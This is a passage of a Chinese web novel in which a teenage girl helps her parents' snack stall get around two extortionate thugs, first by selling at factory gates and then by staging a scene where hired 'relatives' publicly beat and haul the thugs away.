人还没到警卫室,她那大嗓门就先到了,“刘大爷,是谁找我啊!” 等进了屋,一瞅见笑盈盈的苏丽珍,她先是愣了一下,很快反应过来,“这不是珍珍小妹妹吗?你怎么找到这儿来了!” 只要是珍珍小吃家的忠实顾客,谁不知道这家摊子用的是他们家女儿的名字命名的。 “赵姐姐!”苏丽珍也笑着跟对方打招呼。 她之所以第一个来找赵红霞,就是了解眼前这个女青年是个大大咧咧的性子,所以当下也没多做寒暄,三言两语就把来的目的告诉对方。 “赵姐姐,实在对不住,因为我们家的关系,这两天耽误大家来买东西,不过你放心,这种情况肯定不会太久,我们一定会想办法解决。不过在这之前,我打算把摊子直接推到这儿,这样你们不用出门,直接在厂子门口就能买到想要的小吃,不必再担心遇到麻烦,你看怎么样?” 她一边说、一边留心观察赵红霞的神色,见对方脸上没有丝毫不虞,不由内心大定,直觉这事稳了七成。 果然赵红霞听完,立即露出惊喜的神情:“这是好事啊!你不知道这俩天可把我们大伙儿馋坏了,尤其是我前两天家里有事,这算起来快有一周没吃到卤蛋和凉皮了……” 不过说到一半,她想起之所以吃不着珍珍家的美味,主要还是因为自己胆子太小的缘故,一时又有些不好意思,只讪讪道:“那啥,我回去问一嘴,难得你们都过来了,肯定一堆人抢着要!” 苏丽珍察言观色,赶忙道:“还是我们家做的不够,没给赵姐姐你们这样的老主顾带来好体验,错在我们家!赵姐姐,你看这样,你回去就帮我跟大伙儿说一声,为了向大伙儿表示我们招待不周的歉意,今天我们家的卤蛋和包子买四赠一,花生、毛豆,买一斤赠二两,凉皮买二赠一。” 赵红霞听得两眼放光,“哎妈呀,这也太好了!珍珍妹子,午休还有半个小时,我这就回去问她们,你先等我一会儿啊!”说完就忙不迭往回跑了。 苏丽珍算着以往赵红霞帮同事们代买的小吃数量,心里有了底,忙要出去通知她爸妈做准备,结果一转身就见门卫老头一手卤花生、一手卤毛豆,这会儿却顾不上吃了,只拿两只眼睛使劲瞪着她! “你这丫头咋骗人!你不是说你不摆摊吗?” 苏丽珍毫无被拆穿的尴尬,好商好量地冲对方一笑:“大爷,我是没摆摊啊!您看我们摊子不铺开,我们也不吆喝叫卖,等把东西按数拿给赵姐姐之后,我们就立马走人,绝对不耽搁!” 老头:“……” 这个“拿”用得就很有灵性了,而且好像听着也没啥毛病…… 他看着面前已经吃了不少的香喷喷卤味,再想起被他撵到马路对面挺远的两个混子,总觉得哪里不对劲! 不到一刻钟,赵红霞就去而复返,回来时还带了一个女青年,苏丽珍看着面熟,应当也是经常去他们摊子上买东西的主顾。 两人都各自拎着好几兜用网兜装着的空饭盒,一路小跑着冲进警卫室。 不知道是真如赵红霞所说大伙儿几天没吃想这口了,还是苏丽珍的优惠力度大,总之光是纺织一厂这一家,就帮苏卫华夫妻俩一上午没卖出几份的摊子清掉了一半库存。 就这,主要还是因为大伙儿都吃过了午饭,加上凉皮带汤汁放久了影响口感,所以卖掉的份数不多,其他诸如卤花生、卤毛豆和包子直接下去了一半,卤蛋更是卖掉了三分之二! 虽说价钱上少卖了一点,可是一下卖掉这么多东西,加上又拉拢住了老主顾们,苏卫华夫妻俩还是特别开心。 赶着纺织厂午休前,苏丽珍把小吃都给赵红霞两人装好带走,等收了钱便嘱咐爸妈收拾车子准备离开。 临走前,她又回到警卫室,对着屋里冲她板着脸生闷气的老头鞠了个躬,认真地说了声谢谢。 老爷子大概是个面硬心软的人,等苏丽珍一家拢好摊子要走的时候,居然从警卫室里出来了,后来又一声不吭地把他们一直送到了马路上。等走到那两个在原地徘徊的混子跟前,老人家还重重朝他们“哼”了一声。 一直到一家人骑车走远了,老爷子才背着手慢悠悠走回去了。 苏丽珍走在前面自然看不到,这还是李翠英告诉她的。 苏丽珍有些感动,其实这个世上就是这样,有很多好人,也有很多坏人,谁也不知道人生的下一刻会遭遇什么,酸甜苦辣咸,每一种滋味都注定要尝试一番。 而她能做的,就是让自己真正强大起来,做到无坚不摧,这样无论下一秒会遇到什么,她都能无所畏惧,并且保护好她在乎的人。 另一边,两个混子看着那门卫老头对他俩一副看脏东西的眼神,是敢怒不敢言。 胖子狠狠啐了一口,骂道:“妈的,这丫头一家是不是跟那死老头子是亲戚!这回真是便宜他们了!” 两人是离得远,又不是瞎,自然看见那小丫头在门卫室待了一阵,见了俩女的,那一车的小吃就卖出去不少。 他俩这一上午的活算是白干了! 看着苏丽珍一家渐远的背影,瘦子恶狠狠道:“跟上!老子就不信,他们家还能在所有厂子里都有亲戚!” 老苏家自然是不可能在所有厂子里都有亲戚,可在如今这个人情社会,只要你脸t皮够厚,耐心够多,再加上认得那么一两个说得上话的人,很多事情就不像想象的那么难办。 苏丽珍今天的第二个目标是省城收音机厂,这厂子里有个叫孙志刚的技术员,同样是他们家老主顾了。 苏丽珍记得九月开学前一周,孙志刚最后在他们家摊子上一口气买了三份凉皮和一大堆卤味后,就再没来过。 按他的说法是厂里国庆前要突破一项新技术,研发新的生产线,他们技术员这段时间必须加班加点的搞研究,估计十月份之前都没啥闲工夫再往外跑了。 之前有孙志刚带动,他们厂里不少技术人员都挺喜欢他们家小吃。 这些人平时工作忙,时间紧,工资又不低,是非常符合他们摊子的消费群体,所以苏丽珍想来试一试。 这次收音机厂门卫是个看着挺精明的中年人,不知道是不是孙志刚技术员的名头比较好用,对方听了苏丽珍要找的人后,当即态度很好地帮她联系了人。 不过苏丽珍还是十分上道地给对方端了一盒卤花生和毛豆,对方推辞了两句便收下了,之后还十分客气地邀请他们一家三口到门卫室里坐一坐。 孙志刚来得很快,只是他看上去有些疲惫,身上衣服皱皱巴巴,头发和胡子也都长长了不少,显然是忙得没时间打理。 可是等听明白了苏丽珍的来意后,他脸上的疲惫霎时就一扫而空,整个人都振奋起来了,当即就冲到外头的小车前,连连搓手道:“买买买,你们有啥我买啥!那什么,大嫂,你赶紧给我拌一份凉皮,我都要想死这口了!” 李翠英看他这样直想笑,但是想到有人这样喜爱她的手艺,内心还是十分雀跃的,就赶忙过去动手给孙志刚拌凉皮。 等凉皮的工夫,孙志刚又帮忙用门卫电话给他所在的技术科挂电话,让想吃珍珍小吃的人派两个代表带上钱和饭盒马上过来。 挂了电话,他就接过李翠英递过来的凉皮,坐在警卫室台阶上大口吃了起来。那吃相直接把门卫看馋了,门卫没忍住,自己也掏钱买了一份。 苏丽珍按照今天的优惠价卖给了他一份。听说这东西原来一份要三毛钱,门卫还觉得有些不划算,可等一筷子酸辣鲜香的凉皮入了口,他就再也停不下来了。 可算明白孙工为啥天天惦记这口了,这玩意儿看着其貌不扬,没想到吃起来这么爽口! 而这俩人一起大口吃凉皮的一幕落在千辛万苦追过来、差点累瘫的俩混子眼里,简直是无语。 他们俩面面相觑,心里都有一个不好的预感,那小丫头当真邪门得紧,他们这回怕是真踢到铁板了! 第44章 有孙志刚牵头,他们在收音机厂同样卖出了不少东西,卤味和包子全部卖光了,就凉皮剩得比较多,能有将近二十份。 饶是如此,苏卫华夫妻俩也满足得很。 等告别孙志刚,从收音机厂出来,苏丽珍看都没看坐在马路边上双目无神的俩混子一眼,就径自离开了。 这次没用费事,俩人就再没精力跟着他们整事了。 走完这两个厂子已经是一点十五了,距离苏丽珍下午上课只剩十五分钟,她不敢再耽搁,随手从车上拿起一根没插丝的黄瓜揣兜里做午饭,又嘱咐夫妻俩慢慢往家走,在路上凉皮能卖多少、卖多少,就急匆匆调转车头往学校赶去了。 苏卫华和李翠英看着闺女离去的背影,想着孩子连中午饭都没顾上吃,都有些不是滋味。 这一刻,夫妻俩心里不约而同萌生出一个想法,他们想要变得厉害,想自己能真正立起来,而不是一遇事就让年幼的闺女给他们出头。 所以,苏丽珍当天下晚自习到家后,进屋就发现她爸妈两个人正捧着她小学和初中的课本坐在灯下学得认真,旁边还有她用过的作业本和废铅笔头,以及一本字典。 被闺女发现他们偷摸学习,夫妻俩还有些不好意思,支支吾吾了一会儿,苏丽珍才明白原来她爸妈是想要真正做出改变,可他们人到中年一时也不知道该如何努力,或者说是该往哪个方向努力,想着多读书、多学点知识总不会错,所以两人才找出女儿从前的课本自学起来。 对于父母这样的决心和态度,苏丽珍是既感动又惊喜,没有人比她更清楚,未来的祖国会有怎样翻天覆地的变化,而一旦跟不上这种形势,就会被时代的大浪潮远远甩在后头,所以父母能通过学习自强自立这一点,真的完全超出了她的意料。 同时,她也明白,迫使一向老实巴交的父母做出这样改变的原因,究其根本还是为了她! 同她一样,她的爸妈也是一心一意想要给她最好的一切,并时刻准备为她付出所有,以确保她不会被任何坏人坏事侵扰。 她何其有幸,能拥有这样爱护她的父母! 所以面对父母的局促,她像小时候一样,走过去主动坐在了两人中间,一边牵起一人的手臂,脸上扬起大大的笑容,高声道:“爸、妈,谢谢你们愿意陪着我一起学习,有了你们,以后我肯定不会怕苦怕累了!” 苏卫华夫妻俩沉浸在女儿难得的撒娇中,脸上的紧张渐渐散去,也露出了同样舒心的笑。 “好,我们以后就陪珍珍一起学习!” 虽然气氛很好,不过苏丽珍心里还另有计划,所以不得不破坏这温馨的气氛,跟夫妻俩商量解决两个小混混的事。 听了苏丽珍的一番分析和对策后,夫妻俩先是惊讶,随之是气愤,不过对于女儿的安排,两人都没有多说什么,还乐呵呵表示一切都听她的指挥。 经历了这么多事,他们早已经明白女儿才是这个家的主心骨,既然他们做不到让女儿安安稳稳地学习、生活,那就不会一边拿那些烦心事让闺女操心,一边又不停干涉她的想法。 第二天一早,又到了张表舅来送货的时间。这阵子秋收,马车人家回民村要用来收地,自然不能再借给张表舅。 不过这阵子丁大勇的烤苞米摊子挣了不少钱,他有心孝敬表舅,就托人买了一辆私人组装的自行车。 这种自行车一般都是有渠道从大厂子拿到零件,然后再安排专业的师傅私下组装好的,虽然不走正规工厂的生产流程,但是无论是零件还是手艺都没有问题,每架却比市面上百货商店里的正品货能便宜三分之一。 张表舅有了这架自行车也解决了不少问题,毕竟马车虽好,但是进出太扎眼了!不像自行车,清早他把菜蔬、粮食往车后座上一捆,车蹬子一踩,鸟悄地就走了,要是动作麻溜点,大伙儿起来前他就已经回来了。 张表舅每天按照顺序先去丁家送玉米,然后才到苏家。本来今天他像往常一样把东西卸下,报好数量,等着苏家人验收付款,然后就能回家下工,没想到这时苏家的小闺女忽然把他拦住了,求他帮个忙……—— 周日,天晴日朗。 打从八月下旬开始,一直到如今九月中,凤城就常常下雨,即便不下雨也是阴云密布,最长的时候连着七八天都不见日头!满打满算,也就是从本周中期开始,才一连三天都是大晴天,实在难得。 因为天气好,又赶上大礼拜天,本就人不少的客运站门口更是行人如织,往来不绝。 只不过,这人群川流不息的热闹场景在客运站门前的珍珍小吃摊附近却打了个折。 只见来往行人每每走到距离这小吃摊跟前两米的范围内,立时就有两个流里流气的混子上前,摆出一副凶神恶煞的表情警告众人不得靠近。 珍珍家的小吃味道极好,食物又干净卫生,自打六月底开始在这客运站门口出摊,每天都有不少人来购买,这么长时间早已有了一批忠实的老主顾。 只这几天,因为这两个一脸凶相的混子不错眼地盯人,许多人迫于对方那实在吓人的眼神,本着多一事不如少一事的态度,自然也就熄了买东西的心思。 除了极个别爱吃的老饕实在忍不了肚里的馋虫闹腾,结帮拉伙地一起过来,却也是没少受那俩混子的言语威吓,各自回家后都不免被家人一顿劝说,之后也不敢再来了。 这种情况下,如今连t路过的行人都要远远绕着他们家小吃摊走,所以任凭那一对摊主夫妇如何尽心吆喝,也没人敢上门了。 看着小摊上惨淡的光景,两个混子不禁格外得意。 外号叫“胖子”的周军直朝他大哥周强竖起大拇指,“哥,还是你厉害,料到他们不能天天往厂子里跑,一准儿还得回这老地方!” 周强也有些自得,“那是!就算他们家在一个、两个厂子里有熟人,老子就不信他们还能在凤城所有厂子里都有熟人!” 前天那邪门的小丫头带着这两口子,一家子把东西成功卖给了纺织一厂和收音机厂的工人后,他们着实气得够呛,毕竟这俩厂子里工人都不少,又有保卫科,赶上对方有熟人,他们想干点啥都不成。 尤其昨天,这一家没按时出摊,他们就知道这家八成又把东西卖到厂子里去了!之后他们紧赶着又往纺织一厂和收音机厂跑了一趟,却没堵着人,当时可是生气得很。 要知道凤城里的厂子多了去了,谁知道这一家子跑去哪儿了,这么找,完全就是大海捞针! 想着又耽误一天,让老苏家多挣了一天钱,兄弟俩都气得不轻,最后还是周强咬了咬牙,决定一大早到老苏家附近蹲守,打算今天一路跟到底,不管他们往哪家厂子跑,兄弟俩都要咬死了跟去闹一闹! 他还就不信了,那些厂子里鸡毛蒜皮的规矩那么多,就算他们家有熟人,也不可能让他们天天那么卖东西,除非那些厂长是他老苏家的爹! 别说,周强想的没错,他们今早在老苏家胡同蹲了一会儿,见苏家人推车出门就立马跟了上来,没想到苏家最后到底还是回了这客运站门口! 想来是他们在那些厂子外头转了两天,实在不好呆了,如今只能乖乖上这儿来了! 见苏家重新回来出摊,没了那些厂子里警卫室和保卫科的冷眼,哥儿俩立时都觉得轻松不少,同时也出了一口恶气。 看着苏卫华夫妻俩在大太阳底下干吆喝拉不来人,周强便靠在路边一棵树下,一边斜着眼睛看人,一边阴阳怪气道:“呦,这么好的天,咋没人买东西呢!啧啧,我看你们家挺能耐的,要不再找找哪个厂子,上门去卖给那帮冤大头去?” 周军立马接话:“哥,话可不是这么说的,咱凤城厂子虽然多,但是冤大头可没多少,不可能他们天天去,就有人天天买!你瞅瞅,这折腾一圈最后还不得老实上这儿来!” 周强哈哈一笑,“我老弟说得有道理!” 转脸又对苏卫华夫妻说道:“我说两位,不如你们把这些吃的给我们兄弟俩分分!我们呢,多少还能帮你们消化消化,省得你们卖不出去最后都放馊了,这主意不错吧?” 周军立马在旁边起哄。他天天守着这摊子闻着那些卤味的香味,心里早就馋坏了!就是他哥不许他碰,怕人家有借口找公安,所以他才这么老实。 面对兄弟俩这副咄咄逼人的态度,苏卫华并没有像往常一样愤怒地恨不得上前动手打一架。 夫妻俩都十分冷静地站在原地,既不肯接茬,也不肯多看他们一眼,就仿佛他们俩不存在。 不过,李翠英还是悄悄给一直关注着这边的林小麦使了个眼色,让她稍安勿动。 那边林小麦昨天就听苏丽珍说过有了对付两人的主意,所以这会儿也并没有着急上前。 只两个混子见苏卫华夫妻俩一直视若无睹的态度有些不高兴,尤其领头的周强更为敏锐一些,他见平日里一直乌眼鸡似的瞪着自己的苏卫华今天格外消停,心里不免生出一丝怪异的感觉。 这种怪异的感觉在苏丽珍过来后,更是强烈了几分。 因为这小丫头并没有像前天那样对他们一副冷冰冰的态度,反而对他俩意味深长地笑了一下。 不知道为啥,看着这个笑,周强一个大男人反而觉得后脊梁一阵凉飕飕的,他不禁皱起了眉头。 妈的,真跟全子说的一样,死丫头邪性得很! 正当他琢磨着是不是应该用点手段吓唬吓唬这令他不爽的臭丫头时,身后忽然一声震天响:“你们俩小瘪犊子又在这嘎达祸害谁呢?” 周强、周军不防,差点让这声喊吓得直接坐地上! 兄弟俩怒气冲冲地转过身,可还不等他俩开口骂人,谁知对面劈头盖脸就是一顿暴打,直接给俩人打懵了! 第45章 打人的是三个中年汉子,两个拎着扁担、一个握着马鞭,三人都穿着打满补丁的衣裤,后面还背着背筐,这一身行头一看就是进城的乡下人。 三人拎着扁担、马鞭不停往周强、周军身上招呼,一边打、还一边骂:“两个小兔崽子不学好,吃喝嫖赌样样沾,惹了祸就偷跑出来,把烂摊子都甩给家里人!俺们进城找你们两天了,亏俺们之前还提心吊胆怕你们出事,你们倒好,还把自己养胖了一圈!个不省心的,俺干脆打死你们算了!” 三人的扁担、马鞭专往周强和周军身上肉厚的地方打,乡下人干农活力气又大,没几下就把俩人揍得哭爹喊娘。 这边这么大的动静,再加上那骂人的汉子一说话就像炮仗似的,声音大得吓人,自然吸引了周围许多人来看热闹。 三个汉子见围过来的人多了,手上的家伙式儿越发挥舞得起劲,那嗓门贼大的汉子便把之前的话又重新骂了一遍。 两个混子最近常来,眼熟他们的人可不少,等听了那汉子的话,一下就明白是怎么回事了,估计是这两个混子不学好,在家惹了祸就偷跑出来,然后被家里人追到这儿来了。 这么一想,原本看两个混子挨打挨得太狠、本想上前劝几句的人就犹豫着没动地方。 这毕竟是人家的家里事,外人哪能管得了,就算公安来了也说不了啥! 作为混子,周强两人也是没少打架,尤其周军,从小体格子就敦实,打起架来也是一把好手。只是两人如今是被“突然袭击”,加上对方手里有家伙式儿,三对二之下,自然就失了胜算,从挨了第一下打开始就节节败退,没一会儿就满身是伤了。 不过俩人自然也不能一直站着白挨打,周强拼尽全力朝四周大喊道:“你放屁!老子压根就不认识你们!大伙儿帮帮忙,这几个都是骗子故意闹事的!” 不料他话音才落,人群里忽然又一声长嚎,只见一个满头白发、破衣烂衫的老太太拨开人群,径自冲到打架的双方跟前就一屁股坐在地上,拍着大腿开始哭嚎起来! “老天爷啊,俺寡妇一个,一把屎、一把尿辛辛苦苦把儿子带大,现在这孩子长大了却见天惹事,如今偷跑出来还连俺这个当娘的都不认了!这不是要了俺的命吗!” 有人好信就问一嘴:“大娘,这哪个是你儿子啊?” 老太太就一指周强,“这是俺儿子二柱子!”又指了下旁边周军,“那是俺侄儿小栓子!” 三个汉子早在老太太出现开始,就在苏丽珍的暗示下收了手,周强、周军总算得了空,周强见这老太太上来就冒认自己当儿子,怒火中烧之下,不由破口大骂:“X你娘的,谁他妈是你儿子……” 结果刚骂了一句,那三个原本停手的汉子不由分说上前就抽了他俩大嘴巴,连带旁边的周军也跟着一起吃了挂落。 周军:“……” 本来这三人是只照着他俩身上胳膊、大腿肉多的地方打,脸上倒是没啥伤,结果这噼里啪啦几巴掌下去,兄弟俩的脸直接肿成了半个猪头,说话都费劲了。 这还不算完,三个汉子打完人后,其中拎着马鞭、身形最瘦小的那个便一脸沉重地开口了。 “大伙儿,都说家丑不外扬,可俺们心里苦哇!” 他一指周强,满脸悲苦地跟众人解释道:“实不相瞒啊,这是俺们大姐家的孩子,这孩子打小没爹,他爷奶又只顾着他大伯和小叔一家,他们娘儿俩日子难过,俺们兄弟看不过眼,就把这娘儿俩接回了娘家。” “本来俺们想着这孩子命苦,俺们当舅的咋着也不能委屈了他,这些年啥事都惯着他,没想就给惯坏了!这孩子不学好,整天跟村里的二流子们偷鸡摸狗,到处惹事!” “去年这孩子非要拉着他表弟进城,说是学啥手艺,俺们想着只要孩子是往好道上走,那就是再难,大伙t儿咬咬牙也得帮孩子,所以俺们哥仨就凑了一笔钱,让他们进了城。” “可他走了没多久就有人找上门来讨债,俺们才知道,原来这孩子之前竟然学会了跟人家耍钱,结果欠了一屁股债,人家债主这就找上门来了,都是一帮混不吝的,差点没把他娘给逼死啊!” 听了这一番话,众人总算搞清楚了原委:乡下年轻就守寡的妇人,婆家不亲,叔伯不容,无奈只好带着孩子回了娘家,好在娘家兄弟仁善,帮着一起把孩子拉扯大了。 却没想到孩子不学好,吃喝嫖赌,欠了人不少钱,一声不吭,自己偷摸跑路不说,还借着舅家的兄弟做幌子,骗走了家里的钱,把烂摊子都丢给了老娘和三个舅舅! 唉呀妈呀,这哪是生儿子,这是生了个讨债鬼啊! 大伙儿光是听着这个中原委就气得不行,再看那满头白发的老娘和瘦弱疲惫的舅舅,真是恨不得把自己的鞋底子扒下来帮着揍几下! 周强和周军虽说是个不学无术的二流子,但是也受不住叫人这么嫌乎,这会儿也顾不上嘴疼了,忙不迭朝众人喊道:“胡扯!我根本就不认识他们!他们是唬人的!” 周军也捂着脸连连道:“对对,我们哥儿俩有爹有娘,谁认识这几个王八蛋!” 这回没等那瘦小汉子吱声,一直坐在地上抹泪的老太太又哭嚎起来:“他爹啊!你倒是一闭眼早早走得利索,这些年剩俺一个人遭了多少罪啊!俺现在一把年纪,天天饭都吃不上,还欠下那么多钱,唯一的儿子不认俺,还带累了俺三个好兄弟,俺还有啥脸活着啊……他爹啊,干脆俺就直接去找你吧!” 老太太哭完就猛地站起身,作势要往马路边上的大树撞去。 现场围着这么多人,自然不能让她轻易撞到树,但是老太太这一番寻死觅活也着实刺激了大伙儿的神经,这下不少人都看不下去了,纷纷指责周强道:“你这小伙子也太过分了!你看看你妈她多不容易啊!你怎么能说那种话伤她的心呢!” “就是啊!自己干了一堆坏事,把烂摊子都甩给亲人,现在更是连自己的亲妈都不认了,这种人也太缺德了!” 一个买菜的老太太更是直接从菜篮子里抓了一把菜叶子兜头朝周强、周军两人头上砸了过去,瞪眼怒骂道:“这种不肖子孙打一顿都是轻的!要我说就该像过去一样,把他们都送去好好劳教劳教,让他们重新做人!” 那瘦小的汉子便连忙给另外两个汉子使眼色,“今天你们俩必须跟俺们回家!尤其是二柱子你!欠下那么多赌债,难道就真打算让你娘一个人还了?走走,赶紧跟俺们回去!” 说话间,他和另外一个人一边一个拽着周军,剩下的周强因为长得比较瘦,由另外一个高壮汉子像拖小鸡子似的就拖走了! 周强、周军看这架势都吓得不轻,哪能真让他们就这么弄走,俩人这回也顾不上骂人了,只一个劲儿地死命挣扎起来:“放手、放手!我根本就不认识你们!” 看着五大三粗的周军更不禁吓,直接朝众人哀求起来:“大伙儿救命啊!救救我们!我们真不认识他们!他们就是骗子!” 恰在这时,人堆里忽然又响起一声:“几位请等一下!” 众人循声望去,只见一个极白净清秀的小姑娘站了出来,大伙儿也都不陌生,正是珍珍小吃家的小闺女。 大伙儿见她这档口突然站出来,一下就联想起这两个混子这几天天天跑到珍珍小吃摊上找麻烦,可是把人家的生意搅合得不轻。 当下众人便议论开来,也许是知道了两个混子的根底,又或者眼下两人被揍得太惨,失了之前的凶相,大伙儿这会儿也不觉得他们吓人了,反倒起劲指责起两人的劣迹。 尤其这里头不少人是珍珍小吃家的忠实顾客,连着好几天没法吃到心仪的美食,肚子里怨气不少,更是一个赛一个骂得凶。 大伙儿七嘴八舌说了半天,在场的只要不聋都该明白怎么回事了,这一家姐弟四人自然也听得分明。 还是那瘦小的汉子先站了出来,对着苏丽珍一脸歉意道:“闺女啊,这事是这俩瘪犊子做的不对!俺们、俺们给你们赔不是!你们要是不解气的话,就打他们一顿!” 苏丽珍却摇头道:“这位大伯,我们不打人,我把你们喊住,一方面是为了这两人这几天给我们家造成的损失要个说法:再一个就是,前天,我爸受他们勒索被他们要走了十块钱!” 一听这话,被三个汉子扯着的周强、周军不干了,赶忙大喊道:“放屁,什么勒索!分明是他们主动给我们的!” “对对,而且压根也没有十块,只有五块!” 结果又换来了一顿胖揍,一个汉子边用扁担抽打两人屁股,一边骂道:“到现在还不肯说实话,老子真是被你们丢尽了脸!” 那瘦小汉子直接上手在周强身上摸了一遍,直接从裤兜里翻出了九块多钱,二话不说就交给了苏丽珍,面带羞愧道:“闺女啊,实在对不住,俺们就找出这么多,你先拿着……” 后面周强气得脸都青了,“那是我的钱!他们根本没给那么多,其中四块六毛二都是我的钱!” 汉子也不理他,只自顾自唉声叹气道:“闺女啊,俺们姐弟四个进城两天了,为了找他们,身上的钱都花得差不多了,能不能求你宽限几天,等俺们回去想法子凑一凑,回头就给你们补上!” 汉子一脸的卑微可怜,看得众人心酸不已,再看周家兄弟到了这会儿还在狡辩,大伙儿不由都对这兄弟俩越发看不上! 看看,这么艰难的条件还惦记要帮俩人还钱,这不是亲娘舅谁信啊!偏偏两个混蛋还满嘴谎话,真是看得人火大! 苏丽珍收了钱,只是小脸上的面容依旧十分严肃,“这位大伯,你们家的情况我大致也了解了,您放心,剩下的钱,我也不要了,就是他们连续搅了我们家好几天的生意,这点我们必须要个说法!” 众人原本听苏丽珍说放弃追讨剩下的钱,都觉得小姑娘大气,等接着又听对方要讨说法,一时又觉得不好办,毕竟大伙儿都看出来了这一家子确实艰难,这种情况下多掏一分钱都是雪上加霜。 便有人小声嘀咕道:“这一家也太惨了,看着也是老实巴交的可怜人,不能把人往绝路上逼啊!” 旁边立时有人反驳:“你这纯粹是站着说话不腰疼,这几天珍珍小吃摊什么样,大伙儿谁不知道,那也确实是耽误了不少生意!” 先前开口说话的人便不吭声了。 虽然大多数人同情这一家的处境,可很多人都不觉得苏丽珍要说法这一点有啥问题,毕竟这断人家财路本来就是要结大仇的! 苏丽珍侧耳听了会四周人的议论,觉得差不多了,才悄悄给苏卫华使了个眼色,苏卫华便趁势上前缓缓开口道:“这位老哥,你们家这种情况,我们也不为难人,毕竟是那两人干的坏事,都说‘冤有头债有主’,我们也不能揪着你们不放!” “就是一点,我希望你们把人带回去后能好好管教,如果他们再有下一次,无缘无故跑我们家故意吓唬客人,搅黄我们生意,那我肯定不能再这么轻易揭过,下回我百分之百会把他们送去派出所关起来!到时候,希望你们这些做长辈的也给我家打个证明,可别说我们不讲道理,这就是我们要的说法!” 这与其说是要个说法,倒不如是要个保证! 而不需要这艰难的一家再额外赔钱,一家人自然十分感激,那瘦小的汉子忙不迭答应:“应该的、应该的!大兄弟,你们放心,俺们回去后一定好好管教他俩!要是他们再敢来闹事,你们就把他送公安,俺们肯定不拦着!” 围观的人也觉得苏卫华这么处置既有理有据,也十分宽容,一部分人不禁想起之前王老四找人来闹事那回,这苏老板一家也是做事这么透亮大气,实在叫人服气,不免越发对这一家有好感。 当即就有人高声附和道:“苏老板讲究!那今天我也给你们做个见证,下回这俩混蛋要是再敢来找麻烦,你们言语一声,我肯定帮你家作证,直接把他们都送派出所吃牢饭去!” “算我一个!我也愿意帮你们作证!” “这两个混账实在招人恨,要我说下次只要他们再敢冒头,咱们就应该直接举报,t以后就让他们在家里老老实实干活,看他们还敢不敢出来祸害人!” 见众人你一言、我一语纷纷表示愿意一起做见证,父女俩脸上都露出感激的表情,连忙向众人道谢。 第46章 至此,事情的走向完全是按照苏丽珍所想。 虽然成功把周家兄弟胖揍了一顿,但那纯粹是因为“自家人”管“自家人”的道理,在外人眼中这就是一桩“家事”。 而作为被这俩混子骚扰造成损失的受害一方,他们却没能合理合法地惩罚对方,更没有名正言顺的得到补偿(在苏丽珍眼里,那多拿回的四块六毛二不算!)。 如果任这件事这么轻拿轻放,以后有人有样学样,那他们家还做什么生意? 所以苏丽珍才让对方当众做出这么一个“保证”,借着对方的口,成功叫看热闹的人给他们一起做见证,好让周家兄弟明白,他们以后再想上门找麻烦是绝不可能了! 而且有了这一次成功的例子,他们家在这一带站的更稳,以后再有人来找麻烦前也得先掂量掂量,也算一举两得。 目的已经达成,这“一家人”自然不必多呆,四人直接拖着周家兄弟就走了。 周强、周军早已伤痕累累,虽说对方动手的时候很有分寸地避开了要害处,可那扁担棍棍到肉,马鞭更是抽得人青一道、紫一道,俩人这会儿早疼得没了力气,见这伙人借着由头收拾了他们一通不说,眼下是动真格要把他们带走,顿时吓坏了,一个赛一个,直比那杀猪叫唤的还惨! 老太太就在一边苦口婆心地劝着:“二柱子、小栓子,咱这是回家!你俩这样,难不成是真不打算认俺们了?” 这句话果然又成功帮兄弟俩迎来众人一顿劈头盖脸的臭骂! “呸,真没见过这么丧良心的东西!看装那样,不知道还以为要拉他们上刑场!” “对,连辛苦拉扯他长大的亲娘和舅舅都不认,生这种儿子不如生个棒槌!要我说还是打得轻……” 没人理会周家俩兄弟的哀嚎求救,反而是他们嚎得声音越大,挨得骂越狠,最后直到这一行人的身影完全消失,众人愤愤不平的声音才渐渐停下。 找麻烦的人走了,珍珍小吃终于顺顺当当开张。 得益于这次看热闹的人多,新老顾客几乎是一起涌上了门,眨个眼的工夫,小吃摊子上就排起了长长的队伍,热闹得快成这客运站门口一景了。 但凡开门做生意的,就没人会不乐意看到这样热火朝天的景象,苏卫华夫妻俩立时精神一振,转头就全身心投入到忙碌的生意中。 苏丽珍见此,便让林小麦先帮忙打个下手,自己悄悄离开了。 没人注意,她走的方向正是先前两个混子“一家”离去的路。 苏丽珍离开客运站门口,就直接钻进一条胡同里,然后七拐八拐,前后走了五分钟,很快就到了一条幽静的胡同里。 而先前离开的“舅舅”“老娘”四人、外加周家兄弟俩,这会儿都在胡同里等着。 这是苏丽珍特意选的地儿,这一片原来是老凤城里的“富人区”,基本上家家都是深宅大院,一个胡同里头顶多就只有两、三户人家。 头些年,这里的宅子被拆分成零散小间,一座宅子里能住十来户人家,嘈杂得不行。直到一部分宅子的原主家平反后,房屋都被物归原主,那些零散的住户被迁走,许多宅子反而因为这样、那样的原因空落下来。 苏丽珍找的这条胡同里的两家就是这种情况! 事实上,只有她才知道,这两家其实是同一个主人。原主人本来是打算把隔壁宅子买下送给儿子做婚房的,没想到赶上特殊岁月,一家人都被下放到农村,不久他的妻儿就相继过世了。 十年后,原主平反,却并没有回来,而是一直坚持住在乡下守着妻儿的坟冢过活。 她之所以会记得这么清楚,就是因为后来有一天在报纸上偶然看到这个老人突发疾病过世,而他名下的这两套大宅因为无人继承而被收归国有,后来在一次公开拍卖中被一个从首都来的地产商拍了个天价! 当时所有看到这则新闻的人都笑话那地产商“大头”,实属有钱没地儿花。 直到几年后,这一片开发重建,大伙儿才知道当年两套宅子的花费跟它们后期真正的价值相比,简直是九牛一毛。 所以在如今苏丽珍的心里,也不由埋下了一颗种子,想着有一天自己也能攒到足够的钱,大胆走一走这条捷径…… 当然这些都是后话,今天她安排人来这里,主要还是因为这条胡同里确实没什么人,在接近市中心的这一带闹市区里找这么一块“静地”可不容易。 这会儿,周家兄弟正战战兢兢地靠在一起,看着三个汉子的目光里充满了畏惧。 也不知道三人之前跟他们说了什么,两人显然知道虽然行动受限,可相比被直接带去啥陌生地方,至少眼下这样他们还能更安全一点。 所以两人还算老实,苏丽珍过来的时候,周强甚至还陪着笑脸正向那瘦小汉子打听对方的来路。 直到看见突然出现在这里的苏丽珍,他才面色一变! 等再一看眼前四个乡下人朝对方热情地打招呼,哪里还不明白这就是苏家人设的套,立时凶相毕露,破口大骂道:“死丫头,原来是你搞的鬼……” 可惜这威风才逞了一半就被人一脚掀翻了! 瘦小汉子一改之前在众人前的悲戚老实,指着周家兄弟骂道:“嘴巴放干净点!俺最膈应你们这种不学好的二流子,明明自己有手有脚,却天天惦着歪道道,祸害别人!你们这样对得起把你们拉扯大的爹娘吗!混账东西!” 